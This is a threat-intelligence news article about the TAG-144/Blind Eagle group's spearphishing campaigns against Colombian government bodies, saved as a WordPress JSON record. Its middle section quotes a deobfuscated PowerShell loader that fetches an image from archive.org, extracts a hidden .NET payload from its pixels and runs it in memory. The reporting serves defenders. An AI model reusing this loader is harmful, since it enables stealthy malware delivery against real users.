{"id":6488,"date":"2025-08-28T10:04:12","date_gmt":"2025-08-28T10:04:12","guid":{"rendered":"https:\/\/serisec.com\/index.php\/2025\/08\/28\/tag-144-actors-attacking-government-entities-with-new-tactics-techniques-and-procedures\/"},"modified":"2025-08-28T10:04:12","modified_gmt":"2025-08-28T10:04:12","slug":"tag-144-actors-attacking-government-entities-with-new-tactics-techniques-and-procedures","status":"publish","type":"post","link":"https:\/\/serisec.com\/index.php\/2025\/08\/28\/tag-144-actors-attacking-government-entities-with-new-tactics-techniques-and-procedures\/","title":{"rendered":"TAG-144 Actors Attacking Government Entities With New Tactics, Techniques, and Procedures"},"content":{"rendered":"

TAG-144 Actors Attacking Government Entities With New Tactics, Techniques, and Procedures
\n \t

\n
<\/BR>
\n
\n \t

\n
<\/BR><\/p>\n

\n

Over the past year, a shadowy threat actor known as TAG-144\u2014also tracked under aliases Blind Eagle and APT-C-36\u2014has intensified operations against South American government institutions.<\/p>\n

First observed in 2018, this group has adopted an array of commodity remote access trojans (RATs) such as AsyncRAT, REMCOS RAT, and XWorm, often delivered through highly targeted spearphishing campaigns masquerading as official judicial or tax notifications.<\/p>\n

In mid-2025, Recorded Future analysts noted a significant uptick in activity, with five distinct clusters deploying new infrastructure and exploiting legitimate internet services to stage malware payloads.<\/p>\n

Initial access typically leverages compromised or spoofed email<\/a> accounts from local government agencies, luring users into opening malicious documents or SVG attachments.<\/p>\n

These attachments often contain embedded JavaScript that, when executed, retrieves a second-stage loader from services like Paste.ee or Discord\u2019s CDN.<\/p>\n

Recorded Future researchers identified<\/a> numerous compromised Colombian government email addresses used to send deceptive legal summonses, illustrating the adversary\u2019s ability to blend social engineering with technical subterfuge.<\/p>\n

\n
\"\"
Phishing pages linked to Cluster 4 (Source \u2013 Recordedfuture)<\/figcaption><\/figure>\n<\/div>\n

The impact of TAG-144\u2019s campaigns<\/a> has been most severe in Colombia\u2019s federal and municipal agencies, where exfiltration of credentials and sensitive data poses both espionage and financial extortion risks.<\/p>\n

Despite sharing core tactics across clusters\u2014dynamic DNS domains, open-source RATs, and stolen crypters\u2014the group\u2019s evolving use of steganography and domain generation algorithms (DGAs) marks a notable shift toward more resilient operations.<\/p>\n

Recorded Future analysts noted that this evolution not only complicates traditional defenses but also underscores the blurred line between cybercrime and state-level espionage.<\/p>\n

Infection Mechanism and Steganographic Payload Extraction<\/strong><\/h2>\n

One of TAG-144\u2019s most sophisticated techniques involves embedding a Base64-encoded .NET assembly within the pixel data of a benign JPEG image hosted on Archive[.]org.<\/p>\n

\n
\"\"
Payload hosted on archive[.]org URL (Source \u2013 Recordedfuture)<\/figcaption><\/figure>\n<\/div>\n

Upon execution of the initial PowerShell script, the loader scans for a predefined byte marker before extracting and invoking the payload directly in memory, bypassing disk writes and evading antivirus<\/a> detection.<\/p>\n

For example, the deobfuscated PowerShell segment responsible for this process appears as:<\/p>\n

$tormodont = 'https:\/\/archive.org\/download\/universe-...\/universe.jpg'\n$sclere = New-Object System.Net.WebClient\n$sclere.Headers.Add('User-Agent','Mozilla\/5.0')\n$sorority = $sclere.DownloadData($tormodont)\n# Identify marker and extract embedded bytes\n$splenoncus = $sorority[$markerIndex..($sorority.Length - 1)]\n$stream = New-Object IO.MemoryStream\n$stream.Write($splenoncus, 0, $splenoncus.Length)\n$bitmap = [Drawing.Bitmap]::FromStream($stream)\n# Reconstruct payload from pixel data\nforeach ($y in 0..($bitmap.Height-1)) {\n  foreach ($x in 0..($bitmap.Width-1)) {\n    $color = $bitmap.GetPixel($x,$y)\n    $bytesList.Add($color.R); $bytesList.Add($color.G); $bytesList.Add($color.B)\n  }\n}\n$payloadBytes = [Convert]::FromBase64String($bytesList[4..($length+3)] -join '')\n[Reflection.Assembly]::Load($payloadBytes).EntryPoint.Invoke($null,$args)<\/code><\/pre>\n
This in-memory injection, coupled with dynamic domain resolution\u2014often leveraging services like duckdns.org and noip.com\u2014ensures that the RAT\u2019s command-and-control infrastructure remains agile and difficult to trace.<\/p>\n
By avoiding traditional executable downloads and utilizing steganography, TAG-144 demonstrates an advanced understanding of both detection evasion and asset staging, posing a persistent<\/a> threat to government networks across the region.<\/p>\n
Boost\u00a0your\u00a0SOC and help your team protect your business with free top-notch threat intelligence:\u00a0Request TI Lookup Premium Trial<\/a>.<\/code><\/strong><\/p>\n
The post TAG-144 Actors Attacking Government Entities With New Tactics, Techniques, and Procedures<\/a> appeared first on Cyber Security News<\/a>.<\/p>\n<\/div>\n
 \t

\n 
<\/BR>
\n    Tushar Subhra Dutta
\n \t

\n
<\/BR>
\nGo to cyber-security-news<\/a>
\n \t

\n 
<\/BR><\/p>\n","protected":false},"excerpt":{"rendered":"
TAG-144 Actors Attacking Government Entities With New Tactics, Techniques, and Procedures Over the past year, a shadowy threat actor known as TAG-144\u2014also tracked under aliases Blind Eagle and APT-C-36\u2014has intensified operations against South American government institutions. First observed in 2018, this group has adopted an array of commodity remote access trojans (RATs) such as AsyncRAT, […]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[129,63,649],"tags":[130],"class_list":["post-6488","post","type-post","status-publish","format-standard","hentry","category-cyber-security","category-cyber-security-news","category-threats","tag-cyber-security-news"],"_links":{"self":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/6488"}],"collection":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/comments?post=6488"}],"version-history":[{"count":0,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/6488\/revisions"}],"wp:attachment":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/media?parent=6488"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/categories?post=6488"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/tags?post=6488"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}